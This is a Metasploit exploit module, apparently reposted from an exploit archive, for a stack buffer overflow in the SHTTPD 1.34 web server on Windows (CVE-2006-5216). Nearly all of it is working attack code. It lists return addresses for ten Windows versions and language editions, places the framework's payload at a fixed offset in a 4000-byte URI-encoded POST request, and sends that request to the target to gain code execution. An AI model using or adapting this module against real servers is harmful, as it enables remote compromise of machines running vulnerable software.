SHTTPD 1.34 (Windows x86) – URI-Encoded POST Request Overflow (Metasploit)
## # $Id: shttpd_post.rb 9262 2010-05-09 17:45:00Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'SHTTPD <= 1.34 URI-Encoded POST Request Overflow (win32)', 'Description' => %q{ This module exploits a stack buffer overflow in SHTTPD <= 1.34. The vulnerability is caused due to a boundary error within the handling of POST requests. Based on an original exploit by skOd but using a different method found by hdm. }, 'Author' => [ 'LMH <lmh [at] info-pull.com>', 'hdm', 'skOd'], 'License' => MSF_LICENSE, 'Version' => '$Revision: 9262 $', 'References' => [ [ 'CVE', '2006-5216'], [ 'OSVDB', '29565' ], [ 'URL', 'http://shttpd.sourceforge.net'], [ 'BID', '20393'], ], 'Privileged' => false, 'Payload' => { 'BadChars' => "\x00", }, 'Platform' => 'win', 'Targets' => [ # Except for Spanish locale target, all come from: # http://metasploit.com/users/opcode/msfopcode.cgi [ 'Windows NT English SP5-SP6', { 'Ret' => 0x776a183a } ], [ 'Windows 2000 Spanish SP4', { 'Ret' => 0x79496391 } ], [ 'Windows 2000 French SP4', { 'Ret' => 0x74fb108d } ], [ 'Windows 2000 English SP0-SP4', { 'Ret' => 0x75021421 } ], [ 'Windows 2000 French SP0-SP4', { 'Ret' => 0x74fa3144 } ], [ 'Windows 2003 Server English SP0-SP1', { 'Ret' => 0x77d877d3 } ], [ 'Windows XP German SP2', { 'Ret' => 0x71a02975 } ], [ 'Windows XP German SP1', { 'Ret' => 0x71a02a6a } ], [ 'Windows XP English SP2', { 'Ret' => 0x71aa1e08 } ], [ 'Windows XP English SP0-SP1', { 'Ret' => 0x71aa1aaa } ], ], 'DisclosureDate' => 'Oct 6 2006')) register_options( [ Opt::RPORT(80) ], self.class ) end def exploit connect pat = rand_text_alphanumeric(4000) pat[8,4] = [target.ret].pack('V') pat[103, payload.encoded.length] = payload.encoded pat = Rex::Text.uri_encode(pat) res = "post /#{pat} HTTP/1.0\r\n\r\n" print_status("Trying target address 0x%.8x..." % target.ret) sock.put(res) sock.close handler disconnect end end |